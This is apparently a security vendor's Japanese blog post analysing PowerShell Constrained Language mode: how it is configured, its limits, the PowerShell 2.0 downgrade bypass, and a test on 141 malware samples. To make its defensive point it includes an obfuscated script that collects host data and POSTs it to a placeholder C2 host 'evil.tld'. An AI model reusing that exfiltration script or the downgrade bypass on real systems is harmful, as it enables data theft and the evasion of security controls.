TeamT5 はJapan IT Weekに出展します
技術分析

PowerShellのConstrained Language(制約付き言語)モードに対する深い考察

2021.02.17Cyber Threat Intelligence
Share:

Constrained Language(制約付き言語)モードの説明と、このモードが重要な理由

2006年に初めて発表された当初のPowerShellは, 、分かりやすいながらも高度なスクリプトエンジン機能を有する、IT管理者向けの柔軟なコマンドラインシェルという位置づけでした。それからほぼ15年が経った今、PowerShellはその人気を取り戻し、現在のWindows 10では、今や伝説となったcmd.exeの座を奪っています。
しかしながら、PowerShellは、この10年の間に攻撃にも頻繁に使用されています。公開されているサンドボックスには、PowerShellベースのサンプルがあふれており、APTはできるだけ広範囲にこれを悪用することが知られています。 高度なスクリプトエンジンは、ファイルレス/インメモリ攻撃を仕掛けるためのツールとして、あるいはAMSIを回避する手段として頻繁に利用されています。本記事では、この脅威に対抗するために使用できるにもかかわらず、あまり知られていない機能:言語モードに焦点を当てようと思います。
PowerShellは、 「言語モード」を変更できるオプションが含まれた状態でリリースされています。 この言語モードオプションでは、ユーザーが許可する構文または許可しない構文を切り替えることができます。デフォルトでは、すべてのPowerShellセッションはFullLanguage(全言語)で起動されるため、利用可能なすべての構文とコマンドレットがランタイム時に許可されます。利用できる言語モードは全部で4種類:FullLanguage(全言語)、 RestrictedLanguage(制限付き言語)、NoLanguage(言語なし)、そしてConstrainedLanguage(制約付き言語)です。今回は、PowerShell 3.0から導入されたConstrained Language(制約付き言語)モードに焦点を当てます。

安全性が向上したPowerShell環境

まず、MicrosoftDocsにあるConstrained Language(制約付き言語)モードの説明を見てみましょう。
  • Windowsモジュールのすべてのコマンドレット、およびその他のUMCIで承認されたコマンドレットは、特記されている場合を除き、完全に機能し、システムリソースに完全にアクセスすることができる。
  • PowerShellスクリプト言語のすべての要素が許可される。
  • Windowsに含まれるすべてのモジュールをインポートすることができ、モジュールがエクスポートするすべてのコマンドをセッションで実行できる。
  • PowerShell Workflowでは、スクリプトワークフロー(PowerShell 言語で記述されたワークフロー)を記述し、実行することができる。XAMLベースのワークフローはサポートされておらず、Invoke-Expression -Language XAMLを使用するなどして、スクリプトワークフローでXAMLを実行することはできない。また、ワークフローから他のワークフローを呼び出すことはできないが、ネストしたワークフローは許可される。
  • Add-Typeコマンドレットは署名されたアセンブリを読み込むことができるが、任意のC#コードやWin32 APIを読み込むことはできない。
  • New-Objectコマンドレットは、許可された型(以下のリストを参照)に対してのみ使用できる。
  • PowerShellでは、許可された型(以下のリストを参照)のみを使用できる。それ以外の型は許可されない。
  • 型変換は許可されているが、その結果が許可された型である場合のみとなる。
  • 文字列入力を型に変換するコマンドレットパラメーターは、その結果の型が許可された型である場合にのみ機能する。
  • 許可された型(以下のリストを参照)のToString()メソッドと.NETメソッドを呼び出すことができる。その他のメソッドは呼び出すことができない。
  • ユーザーは、許可された型の全プロパティを取得することができる。ユーザーはCore型でのみプロパティの値を設定することができる。以下のCOMオブジェクトのみ許可される。
    • Scripting.Dictionary
    • Scripting.FileSystemObject
    • VBScript.RegExp

Add-Typeを使った任意のC#コードは不可

Add-Typeコマンドレットは署名されたアセンブリを読み込むことができるが、任意のC#コードやWin32 APIを読み込むことはできない。
PowerShellベースの悪用では、Add-Typeを使用した.NETベースの言語コンパイルが使用されることがよくありますが、任意のC#コードコンパイルが禁止されているので、すでにこれは利用できません。
202101-1.png

ホワイトリストに載っていない型の使用を禁止

  • New-Objectコマンドレットは、許可された型(以下のリストを参照)に対してのみ使用できる。
  • PowerShellでは、許可された型(以下のリストを参照)のみを使用できる。それ以外の型は許可されない。
  • 型変換は許可されているが、その結果が許可された型である場合のみとなる。
  • 文字列入力を型に変換するコマンドレットパラメーターは、その結果の型が許可された型である場合にのみ機能する。
  • 許可された型(以下のリストを参照)のToString()メソッドと.NETメソッドを呼び出すことができる。その他のメソッドは呼び出すことができない。
分かりやすく言うと、ホワイトリストに載っていないすべての型とそのメソッド/プロパティの実行がブロックされます。脅威アクターはSystem.Reflection.Assembly / System.Convert / System.Runtime.CompilerServices などのクラスに到達することができなくなるため、別のPEを使用したコードインジェクションやファイルレス攻撃がはるかに難しくなります。
202101-2.png

複雑なスクリプトの実行を禁止

上記の制限を受けると、正当かつ複雑なスクリプトを正しく実行できなくなる可能性があります。例えば、組織でWinFormやWPF(Windows Presentation Framework)を利用したスクリプトを使用している場合、こういったスクリプトが全く動作しなくなります。
202101-3.png
その結果、モジュールもこのホワイトリスト登録システムの影響を受けることになります。作成された型やホワイトリストに載っていない型を呼び出すモジュールは、正しく読み込まれません。
202101-4.png
従って、このポリシーをエンドポイントに登録する に、組織のスクリプト(あれば)を再確認すること が非常に重要です。

明示的な機能登録の必要性

デフォルトでは、この言語モードはオプション機能であるため、ユーザーは各セッションの最初に $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"を呼び出すか、システム環境変数に__PSLockdownPolicyを追加する必要があります(実稼働環境では しないでください。[以下のセクションを参照] (https://teamt5.org/jp/posts/a-deep-dive-into-powershell-s-constrained-language-mode/#beware-of-pslockdownpolicy)。どちらも理想的ではないため、デバッグ、単体テスト、または一般的なテスト目的にのみ使用するようにしてください。
代わりに、組織の管理者は、Windows 10+のWDAC(Windows Defender Application Control)、または Windows 7+のAppLockerを介して導入する必要があります。この方法で実装した場合、攻撃者は標準的なPowerShellセッションへの完全なアクセスを得る前に、まずはWDACまたはAppLockerを回避しなければならなくなります。個別のエンドポイントまたは大量のエンドポイントへの展開に関するガイドラインは、Microsoft Docsに掲載されているWindowsのアプリケーション制御の記事で確認できます。

標準のコマンドレットではなくスクリプトに対して効果的

単に制約付き言語モードを有効にするだけでは、PowerShellがもたらすリスクを軽減するのに十分ではないことを明確にしておく必要があります。ユーザーをより低い権限の言語モードに制限することで、カスタム.NETアセンブリやコードを実行できないようにすることは可能ですが、組み込みのコマンドレットのみを使って悪意のあるスクリプトを作り出す攻撃者を阻止することはできません。例えば、攻撃者は依然として、コンピューターに関する情報を収集するスクリプトを作成し、攻撃者のC2ステーションに送り返す可能性があります。
以下はその一例で、Constrained Language(制約付き言語)モードを有効にしたPowerShellセッションでも依然として問題なく実行し続けます。
Start-Job -ScriptBlock {
 while($true){
  # MAC address collection (# MACアドレスを収集します)
  .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
  # OSs + username collection (# OS + ユーザー名を収集します)
  .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
  # WAN IP collection (# WAN IPを収集します)
  &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
  # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult) (# データを一時ファイルに保存します(通常は、脅威アクターがインメモリで行いますが、既存のコマンドレットのみに基づくインメモリ実行は不可能または非常に困難です))
  .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
  ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
  # Compresses the file (# ファイルを圧縮します)
  &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
  # Sends it back to the C2 station (# C2ステーションに送り返します)
  &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
  &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
  }
}
それだけではなく、攻撃者はschtaskを使って永続化を達成したり、shell:startup下に追加のペイロードを配置したりするなどの目的で、外部リソースを呼び出す可能性もあります。制約付き言語モードは、既存のほとんどのコマンドレットが機能するのをブロックする わけではない ことを覚えておいてください。言い換えると、脅威アクターが自由に使えるものは制限しますが、バニラコマンドレットや標準的なWindowsアプリケーションを使用できなくするわけではありません。

__PSLockdownPolicy に注意

既存のコマンドレットが攻撃に使用されるだけでなく、管理者が__PSLockdownPolicyを使用して言語機能を「有効」 にしている場合、攻撃者は管理者権限を持つことで簡単に言語ポリシーを復元できます。この環境変数を使って、実際にどのようなアクションかできるのかを見てみましょ
202101-5.png
wldpNativeMethods.cs ファイルにある SystemPolicy クラスにたどり着いているのがわかります。この環境変数を参照する様々な記述の中で、管理者は__PSLockdownPolicy変数を4に設定するように要求されています。「4」という値はWLDP_LOCKDOWN_UMCIENFORCE_FLAG 定数を指しており、これはユーザーモードのコード整合性(UMCI: User-mode Code Integrity)の実施を示しています。
202101-6.gif
この呼び出しの親メソッドの名前は GetDebugLockdownPolicy となっており、この動作が実稼働環境向けのものではなく、デバッグ機能であることを意味しています。
202101-7.png
この理論は、WDACに詳しい著名なセキュリティ研究者である Matt Graeber氏の発言によって、さらに裏付けられています。 さらに調べたところ、この動作については、制約付き言語モードに関するPowerShellチームからの公式の投稿でも言及されていることが判明しました。
制約付き言語を実装する一環として、PowerShellには__PSLockdownPolicyと呼ばれるデバッグおよび単体テスト用の環境変数が含まれています。ドキュメントにこの変数に関する記述はありませんが、これを発見した人の中には強化メカニズムだと考える人もいるようです。これは賢明ではありません。なぜなら、攻撃者は、この環境変数を容易に変更して、設定を除去することができるからです。また、スクリプトのFullLanguageモードを有効にするファイル命名規則もあり、Constrained Language(制約付き言語)を効果的に回避することも可能です。
強調しておきたいのは、管理者はConstrained Language(制約付き言語)モードを有効にする方法として、これをエンドポイントに導入する べきではない ことで、セキュリティ機能に関する記事を読む際には、特に注意する必要があります。

レガシーOSとの互換性

この機能をエンドポイントに展開する前に考慮すべきもう1つの点は、レガシーOSです。本投稿の冒頭で説明したように、Constrained Language(制約付き言語)モードはPowerShell3.0以降でのみ使用可能であり、Windows7にはデフォルトでPowerShell2.0が付属しています。
202101-8.png
Windows7などの古いシステムにWMF 5.1をインストールすることは可能ですが、これらのシステムにはコアコンポーネントにPowerShell 2.0が採用されている可能性が高く、ダウングレード攻撃 を受けやすい状態にあります。
攻撃者は、標準のPowerShell 5.1セッションを開始する代わりに、 PowerShell.exe -Version 2を使用してPowerShell 2.0セッションを生成するだけで攻撃できます。このバージョンにはConstrainedLanguageモードが存在しないため、単純にFullLanguageを使用してフォールバックします。
202101-9.png
これはWindows10ではそれほど問題になりません。Windows10では、PowerShell 5.1がデフォルトでシステムに付属されており、2.0はDisable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Rootを使用することで削除できます。削除した後に、PowerShell v2を起動しようとすると、エラーメッセージが表示されます。
PS C:\> powershell -v 2
Encountered a problem reading the registry.  Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
日本語
PS C:\> powershell -v 2
レジストリの読み取りに問題が発生しました。 レジストリキー「SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine」が見つかりません。このコンピューターにはWindows PowerShell 2エンジンがインストールされていません。

仮説検定

このモードが仮説攻撃に対してどの程度有効かを確認するために以下を行いました
  • 2021年1月27日時点で、最近提出された個々のPowerShellサンプルを141個収集しました。
    • これらのサンプルは無差別に選択されており、手作業で選ばれたものは一切ありません(*.ps1スクリプトでない無効なサンプルの選別を除く)。
  • ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullNameでスクリプトを実行しました。
  • これらのサンプルはConstrainedLanguageモードを有効にしたシステムで実行しました。
  • 昇格していないPowerShellセッションを持つWindows 10(ビルド19042)システムで、これらのサンプルを実行しました。
    • 攻撃者はまず権限を昇格させなければならず、また、昇格された時点でより大きな懸念も発生することから、昇格されたものは今回のテストから除外されています。
202101-10.png

検定の結果は次の通りです。
  • ConstrainedLanguageがブロックされたケース
    • 正しく実行されたサンプルの100%(141/141)。
      • TCPシェルの起動、次のステージのペイロードの読み込み、使用可能なパーシステンスの作成など、意図した目標に到達しています。
    • サンプルの51%(72/141)が、ホワイトリストに載っていない型の作成を試みました。
    • サンプルの50%(71/141)が、ホワイトリストに載っていない型でメソッドを呼び出そうとしました。
    • サンプルの26.9%(38/141)が、値をホワイトリストに載っていない型に変換しようとしました。
    • サンプルの2.8%(4/141)が、ホワイトリストに載っていない型にプロパティを設定しようとしました。
    • ConstrainedLanguageのブロックに失敗したケース
    • サンプルの0.7%(1/141)が、パーシスタンスエントリを作成できました。

結論

PowerShellは今や最新のWindows OSに不可欠な要素となっているため、システム管理者はPowerShellが組織にもたらすリスクを過小評価しないように注意する必要があります。
本記事では、ConstrainedLanguageのメリットとデメリット、そして仮想検定でどのような動作になるのかを確認しました。エンジン機能を有効にすることで、PowerShellを悪用したリスクは大幅に低減することができますが、適切に登録することが重要です。また、この言語ポリシーを登録する前に、モジュールやスクリプトの可用性の低下が、そのトレードオフに見合うものかどうかについても検討する必要があります。

*画像のソース: Pexels
2021.02.17Cyber Threat Intelligence
Share:

Related Post

技術分析
2022.01.03

Apache HTTP Server(Windows)2021 ハイリスクのセキュリティ脆弱性の詳細

vulnerability research , cyber security, Apache HTTP Server, IoC, cyber threat intelligence, threat hunting
We use cookies to provide you with the best user experience. By continuing to use this website, you agree to ourPrivacy & Cookies Policy.